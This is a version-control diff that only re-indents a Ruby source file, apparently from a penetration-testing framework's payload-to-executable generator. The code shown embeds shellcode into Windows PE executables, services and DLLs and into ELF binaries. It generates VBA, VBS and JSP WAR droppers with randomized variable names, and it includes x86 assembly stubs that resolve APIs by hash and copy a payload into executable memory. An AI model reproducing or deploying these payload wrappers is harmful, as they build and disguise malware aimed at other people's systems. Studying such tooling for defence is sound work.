Retab
parent
edc297756b
commit
c221360cc1
|
@ -325,7 +325,7 @@ require 'digest/sha1'
|
||||||
if(eloc == 0) # place the entry point before the payload
|
if(eloc == 0) # place the entry point before the payload
|
||||||
poff += 256
|
poff += 256
|
||||||
eidx = rand(poff-(entry.length + 5))
|
eidx = rand(poff-(entry.length + 5))
|
||||||
else # place the entry pointer after the payload
|
else # place the entry pointer after the payload
|
||||||
poff -= 256
|
poff -= 256
|
||||||
eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
|
eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
|
||||||
end
|
end
|
||||||
|
@ -541,11 +541,11 @@ require 'digest/sha1'
|
||||||
bo = pe.index('PAYLOAD:')
|
bo = pe.index('PAYLOAD:')
|
||||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||||
|
|
||||||
if (code.length <= 8192)
|
if (code.length <= 8192)
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
pe[bo, code.length] = [code].pack("a*")
|
||||||
else
|
else
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
||||||
end
|
end
|
||||||
|
|
||||||
if name
|
if name
|
||||||
bo = pe.index('SERVICENAME')
|
bo = pe.index('SERVICENAME')
|
||||||
|
@ -573,11 +573,11 @@ require 'digest/sha1'
|
||||||
bo = pe.index('PAYLOAD:')
|
bo = pe.index('PAYLOAD:')
|
||||||
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
||||||
|
|
||||||
if (code.length <= 2048)
|
if (code.length <= 2048)
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
pe[bo, code.length] = [code].pack("a*")
|
||||||
else
|
else
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
||||||
end
|
end
|
||||||
|
|
||||||
# optional mutex
|
# optional mutex
|
||||||
mt = pe.index('MUTEX!!!')
|
mt = pe.index('MUTEX!!!')
|
||||||
|
@ -599,11 +599,11 @@ require 'digest/sha1'
|
||||||
bo = pe.index('PAYLOAD:')
|
bo = pe.index('PAYLOAD:')
|
||||||
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
||||||
|
|
||||||
if (code.length <= 2048)
|
if (code.length <= 2048)
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
pe[bo, code.length] = [code].pack("a*")
|
||||||
else
|
else
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
||||||
end
|
end
|
||||||
|
|
||||||
# optional mutex
|
# optional mutex
|
||||||
mt = pe.index('MUTEX!!!')
|
mt = pe.index('MUTEX!!!')
|
||||||
|
@ -753,7 +753,7 @@ require 'digest/sha1'
|
||||||
# This will become a modified copy of the template's original phdr
|
# This will become a modified copy of the template's original phdr
|
||||||
new_phdr = Metasm::EncodedData.new
|
new_phdr = Metasm::EncodedData.new
|
||||||
e.segments.each { |s|
|
e.segments.each { |s|
|
||||||
# Be lazy and mark any executable segment as writable. Doing
|
# Be lazy and mark any executable segment as writable. Doing
|
||||||
# it this way means we don't have to care about which one
|
# it this way means we don't have to care about which one
|
||||||
# contains .text
|
# contains .text
|
||||||
if s.flags.include? "X"
|
if s.flags.include? "X"
|
||||||
|
@ -943,14 +943,14 @@ require 'digest/sha1'
|
||||||
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||||
|
|
||||||
# put the shellcode bytes into an array
|
# put the shellcode bytes into an array
|
||||||
bytes = ''
|
bytes = ''
|
||||||
|
@ -1001,7 +1001,7 @@ End Sub
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_exe_vbs(exes = '', opts={})
|
def self.to_exe_vbs(exes = '', opts={})
|
||||||
delay = opts[:delay] || 5
|
delay = opts[:delay] || 5
|
||||||
persist = opts[:persist] || false
|
persist = opts[:persist] || false
|
||||||
|
|
||||||
exe = exes.unpack('C*')
|
exe = exes.unpack('C*')
|
||||||
|
@ -1374,23 +1374,23 @@ End Sub
|
||||||
def self.to_jsp_war(exe, opts={})
|
def self.to_jsp_war(exe, opts={})
|
||||||
|
|
||||||
# begin <payload>.jsp
|
# begin <payload>.jsp
|
||||||
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
|
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
|
|
||||||
jspraw = "<%@ page import=\"java.io.*\" %>\n"
|
jspraw = "<%@ page import=\"java.io.*\" %>\n"
|
||||||
jspraw << "<%\n"
|
jspraw << "<%\n"
|
||||||
|
@ -1485,7 +1485,7 @@ End Sub
|
||||||
# Write the data into the .text segment
|
# Write the data into the .text segment
|
||||||
text_offset = opts[:text_offset] || 0x1065
|
text_offset = opts[:text_offset] || 0x1065
|
||||||
text_max = opts[:text_max] || 0x8000
|
text_max = opts[:text_max] || 0x8000
|
||||||
pack = opts[:pack] || 'a32768'
|
pack = opts[:pack] || 'a32768'
|
||||||
pe[text_offset, text_max] = [data].pack(pack)
|
pe[text_offset, text_max] = [data].pack(pack)
|
||||||
|
|
||||||
# Generic a randomized UUID
|
# Generic a randomized UUID
|
||||||
|
@ -1539,89 +1539,89 @@ End Sub
|
||||||
; Note: This function is unable to call forwarded exports.
|
; Note: This function is unable to call forwarded exports.
|
||||||
|
|
||||||
api_call:
|
api_call:
|
||||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||||
mov ebp, esp ; Create a new stack frame
|
mov ebp, esp ; Create a new stack frame
|
||||||
xor eax, eax ; Zero EDX
|
xor eax, eax ; Zero EDX
|
||||||
mov eax, [fs:eax+48] ; Get a pointer to the PEB
|
mov eax, [fs:eax+48] ; Get a pointer to the PEB
|
||||||
mov eax, [eax+12] ; Get PEB->Ldr
|
mov eax, [eax+12] ; Get PEB->Ldr
|
||||||
mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list
|
mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list
|
||||||
mov edx, eax
|
mov edx, eax
|
||||||
next_mod: ;
|
next_mod: ;
|
||||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||||
loop_modname: ;
|
loop_modname: ;
|
||||||
xor eax, eax ; Clear EAX
|
xor eax, eax ; Clear EAX
|
||||||
lodsb ; Read in the next byte of the name
|
lodsb ; Read in the next byte of the name
|
||||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||||
jl not_lowercase ;
|
jl not_lowercase ;
|
||||||
sub al, 0x20 ; If so normalise to uppercase
|
sub al, 0x20 ; If so normalise to uppercase
|
||||||
not_lowercase: ;
|
not_lowercase: ;
|
||||||
ror edi, 13 ; Rotate right our hash value
|
ror edi, 13 ; Rotate right our hash value
|
||||||
add edi, eax ; Add the next byte of the name
|
add edi, eax ; Add the next byte of the name
|
||||||
dec ecx
|
dec ecx
|
||||||
jnz loop_modname ; Loop untill we have read enough
|
jnz loop_modname ; Loop untill we have read enough
|
||||||
; We now have the module hash computed
|
; We now have the module hash computed
|
||||||
push edx ; Save the current position in the module list for later
|
push edx ; Save the current position in the module list for later
|
||||||
push edi ; Save the current module hash for later
|
push edi ; Save the current module hash for later
|
||||||
; Proceed to iterate the export address table,
|
; Proceed to iterate the export address table,
|
||||||
mov edx, [edx+16] ; Get this modules base address
|
mov edx, [edx+16] ; Get this modules base address
|
||||||
mov eax, [edx+60] ; Get PE header
|
mov eax, [edx+60] ; Get PE header
|
||||||
add eax, edx ; Add the modules base address
|
add eax, edx ; Add the modules base address
|
||||||
mov eax, [eax+120] ; Get export tables RVA
|
mov eax, [eax+120] ; Get export tables RVA
|
||||||
test eax, eax ; Test if no export address table is present
|
test eax, eax ; Test if no export address table is present
|
||||||
jz get_next_mod1 ; If no EAT present, process the next module
|
jz get_next_mod1 ; If no EAT present, process the next module
|
||||||
add eax, edx ; Add the modules base address
|
add eax, edx ; Add the modules base address
|
||||||
push eax ; Save the current modules EAT
|
push eax ; Save the current modules EAT
|
||||||
mov ecx, [eax+24] ; Get the number of function names
|
mov ecx, [eax+24] ; Get the number of function names
|
||||||
mov ebx, [eax+32] ; Get the rva of the function names
|
mov ebx, [eax+32] ; Get the rva of the function names
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
; Computing the module hash + function hash
|
; Computing the module hash + function hash
|
||||||
get_next_func: ;
|
get_next_func: ;
|
||||||
test ecx, ecx ; (Changed from JECXZ to work around METASM)
|
test ecx, ecx ; (Changed from JECXZ to work around METASM)
|
||||||
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||||
dec ecx ; Decrement the function name counter
|
dec ecx ; Decrement the function name counter
|
||||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||||
add esi, edx ; Add the modules base address
|
add esi, edx ; Add the modules base address
|
||||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||||
; And compare it to the one we want
|
; And compare it to the one we want
|
||||||
loop_funcname: ;
|
loop_funcname: ;
|
||||||
xor eax, eax ; Clear EAX
|
xor eax, eax ; Clear EAX
|
||||||
lodsb ; Read in the next byte of the ASCII function name
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
ror edi, 13 ; Rotate right our hash value
|
ror edi, 13 ; Rotate right our hash value
|
||||||
add edi, eax ; Add the next byte of the name
|
add edi, eax ; Add the next byte of the name
|
||||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
; If found, fix up stack, call the function and then value else compute the next one...
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
pop eax ; Restore the current modules EAT
|
pop eax ; Restore the current modules EAT
|
||||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||||
; We now fix up the stack and perform the call to the desired function...
|
; We now fix up the stack and perform the call to the desired function...
|
||||||
finish:
|
finish:
|
||||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||||
pop ebx ; Clear off the current modules hash
|
pop ebx ; Clear off the current modules hash
|
||||||
pop ebx ; Clear off the current position in the module list
|
pop ebx ; Clear off the current position in the module list
|
||||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||||
pop edx ; Pop off the hash value our caller will have pushed
|
pop edx ; Pop off the hash value our caller will have pushed
|
||||||
push ecx ; Push back the correct return value
|
push ecx ; Push back the correct return value
|
||||||
jmp eax ; Jump into the required function
|
jmp eax ; Jump into the required function
|
||||||
; We now automagically return to the correct caller...
|
; We now automagically return to the correct caller...
|
||||||
get_next_mod: ;
|
get_next_mod: ;
|
||||||
pop eax ; Pop off the current (now the previous) modules EAT
|
pop eax ; Pop off the current (now the previous) modules EAT
|
||||||
get_next_mod1: ;
|
get_next_mod1: ;
|
||||||
pop edi ; Pop off the current (now the previous) modules hash
|
pop edi ; Pop off the current (now the previous) modules hash
|
||||||
pop edx ; Restore our position in the module list
|
pop edx ; Restore our position in the module list
|
||||||
mov edx, [edx] ; Get the next module
|
mov edx, [edx] ; Get the next module
|
||||||
jmp next_mod ; Process this module
|
jmp next_mod ; Process this module
|
||||||
^
|
^
|
||||||
|
|
||||||
stub_exit = %Q^
|
stub_exit = %Q^
|
||||||
|
@ -1631,47 +1631,47 @@ End Sub
|
||||||
; Note: Execution is not expected to (successfully) continue past this block
|
; Note: Execution is not expected to (successfully) continue past this block
|
||||||
|
|
||||||
exitfunk:
|
exitfunk:
|
||||||
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
||||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||||
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||||
jl goodbye ; Then just call the exit function...
|
jl goodbye ; Then just call the exit function...
|
||||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||||
jne goodbye ;
|
jne goodbye ;
|
||||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||||
goodbye: ; We now perform the actual call to the exit function
|
goodbye: ; We now perform the actual call to the exit function
|
||||||
push byte 0 ; push the exit function parameter
|
push byte 0 ; push the exit function parameter
|
||||||
push ebx ; push the hash of the exit function
|
push ebx ; push the hash of the exit function
|
||||||
call ebp ; call EXITFUNK( 0 );
|
call ebp ; call EXITFUNK( 0 );
|
||||||
^
|
^
|
||||||
|
|
||||||
stub_alloc = %Q^
|
stub_alloc = %Q^
|
||||||
cld ; Clear the direction flag.
|
cld ; Clear the direction flag.
|
||||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||||
delta: ;
|
delta: ;
|
||||||
#{stub_block}
|
#{stub_block}
|
||||||
start: ;
|
start: ;
|
||||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||||
|
|
||||||
allocate_size:
|
allocate_size:
|
||||||
mov esi,PAYLOAD_SIZE
|
mov esi,PAYLOAD_SIZE
|
||||||
|
|
||||||
allocate:
|
allocate:
|
||||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||||
push 0x1000 ; MEM_COMMIT
|
push 0x1000 ; MEM_COMMIT
|
||||||
push esi ; Push the length value of the wrapped code block
|
push esi ; Push the length value of the wrapped code block
|
||||||
push byte 0 ; NULL as we dont care where the allocation is.
|
push byte 0 ; NULL as we dont care where the allocation is.
|
||||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
|
||||||
mov ebx, eax ; Store allocated address in ebx
|
mov ebx, eax ; Store allocated address in ebx
|
||||||
mov edi, eax ; Prepare EDI with the new address
|
mov edi, eax ; Prepare EDI with the new address
|
||||||
mov ecx, esi ; Prepare ECX with the length of the code
|
mov ecx, esi ; Prepare ECX with the length of the code
|
||||||
call get_payload
|
call get_payload
|
||||||
got_payload:
|
got_payload:
|
||||||
pop esi ; Prepare ESI with the source to copy
|
pop esi ; Prepare ESI with the source to copy
|
||||||
rep movsb ; Copy the payload to RWX memory
|
rep movsb ; Copy the payload to RWX memory
|
||||||
call set_handler ; Configure error handling
|
call set_handler ; Configure error handling
|
||||||
|
|
||||||
exitblock:
|
exitblock:
|
||||||
#{stub_exit}
|
#{stub_exit}
|
||||||
|
@ -1695,7 +1695,7 @@ End Sub
|
||||||
stub_alloc.gsub!('byte', '')
|
stub_alloc.gsub!('byte', '')
|
||||||
|
|
||||||
wrapper = ""
|
wrapper = ""
|
||||||
# regs = %W{eax ebx ecx edx esi edi ebp}
|
# regs = %W{eax ebx ecx edx esi edi ebp}
|
||||||
|
|
||||||
cnt_jmp = 0
|
cnt_jmp = 0
|
||||||
stub_alloc.each_line do |line|
|
stub_alloc.each_line do |line|
|
||||||
|
@ -1744,87 +1744,87 @@ End Sub
|
||||||
; Note: This function is unable to call forwarded exports.
|
; Note: This function is unable to call forwarded exports.
|
||||||
|
|
||||||
api_call:
|
api_call:
|
||||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||||
mov ebp, esp ; Create a new stack frame
|
mov ebp, esp ; Create a new stack frame
|
||||||
xor edx, edx ; Zero EDX
|
xor edx, edx ; Zero EDX
|
||||||
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
||||||
mov edx, [edx+12] ; Get PEB->Ldr
|
mov edx, [edx+12] ; Get PEB->Ldr
|
||||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||||
next_mod: ;
|
next_mod: ;
|
||||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||||
loop_modname: ;
|
loop_modname: ;
|
||||||
xor eax, eax ; Clear EAX
|
xor eax, eax ; Clear EAX
|
||||||
lodsb ; Read in the next byte of the name
|
lodsb ; Read in the next byte of the name
|
||||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||||
jl not_lowercase ;
|
jl not_lowercase ;
|
||||||
sub al, 0x20 ; If so normalise to uppercase
|
sub al, 0x20 ; If so normalise to uppercase
|
||||||
not_lowercase: ;
|
not_lowercase: ;
|
||||||
ror edi, 13 ; Rotate right our hash value
|
ror edi, 13 ; Rotate right our hash value
|
||||||
add edi, eax ; Add the next byte of the name
|
add edi, eax ; Add the next byte of the name
|
||||||
dec ecx
|
dec ecx
|
||||||
jnz loop_modname ; Loop untill we have read enough
|
jnz loop_modname ; Loop untill we have read enough
|
||||||
; We now have the module hash computed
|
; We now have the module hash computed
|
||||||
push edx ; Save the current position in the module list for later
|
push edx ; Save the current position in the module list for later
|
||||||
push edi ; Save the current module hash for later
|
push edi ; Save the current module hash for later
|
||||||
; Proceed to itterate the export address table,
|
; Proceed to itterate the export address table,
|
||||||
mov edx, [edx+16] ; Get this modules base address
|
mov edx, [edx+16] ; Get this modules base address
|
||||||
mov eax, [edx+60] ; Get PE header
|
mov eax, [edx+60] ; Get PE header
|
||||||
add eax, edx ; Add the modules base address
|
add eax, edx ; Add the modules base address
|
||||||
mov eax, [eax+120] ; Get export tables RVA
|
mov eax, [eax+120] ; Get export tables RVA
|
||||||
test eax, eax ; Test if no export address table is present
|
test eax, eax ; Test if no export address table is present
|
||||||
jz get_next_mod1 ; If no EAT present, process the next module
|
jz get_next_mod1 ; If no EAT present, process the next module
|
||||||
add eax, edx ; Add the modules base address
|
add eax, edx ; Add the modules base address
|
||||||
push eax ; Save the current modules EAT
|
push eax ; Save the current modules EAT
|
||||||
mov ecx, [eax+24] ; Get the number of function names
|
mov ecx, [eax+24] ; Get the number of function names
|
||||||
mov ebx, [eax+32] ; Get the rva of the function names
|
mov ebx, [eax+32] ; Get the rva of the function names
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
; Computing the module hash + function hash
|
; Computing the module hash + function hash
|
||||||
get_next_func: ;
|
get_next_func: ;
|
||||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||||
dec ecx ; Decrement the function name counter
|
dec ecx ; Decrement the function name counter
|
||||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||||
add esi, edx ; Add the modules base address
|
add esi, edx ; Add the modules base address
|
||||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||||
; And compare it to the one we want
|
; And compare it to the one we want
|
||||||
loop_funcname: ;
|
loop_funcname: ;
|
||||||
xor eax, eax ; Clear EAX
|
xor eax, eax ; Clear EAX
|
||||||
lodsb ; Read in the next byte of the ASCII function name
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
ror edi, 13 ; Rotate right our hash value
|
ror edi, 13 ; Rotate right our hash value
|
||||||
add edi, eax ; Add the next byte of the name
|
add edi, eax ; Add the next byte of the name
|
||||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
; If found, fix up stack, call the function and then value else compute the next one...
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
pop eax ; Restore the current modules EAT
|
pop eax ; Restore the current modules EAT
|
||||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||||
; We now fix up the stack and perform the call to the desired function...
|
; We now fix up the stack and perform the call to the desired function...
|
||||||
finish:
|
finish:
|
||||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||||
pop ebx ; Clear off the current modules hash
|
pop ebx ; Clear off the current modules hash
|
||||||
pop ebx ; Clear off the current position in the module list
|
pop ebx ; Clear off the current position in the module list
|
||||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||||
pop edx ; Pop off the hash value our caller will have pushed
|
pop edx ; Pop off the hash value our caller will have pushed
|
||||||
push ecx ; Push back the correct return value
|
push ecx ; Push back the correct return value
|
||||||
jmp eax ; Jump into the required function
|
jmp eax ; Jump into the required function
|
||||||
; We now automagically return to the correct caller...
|
; We now automagically return to the correct caller...
|
||||||
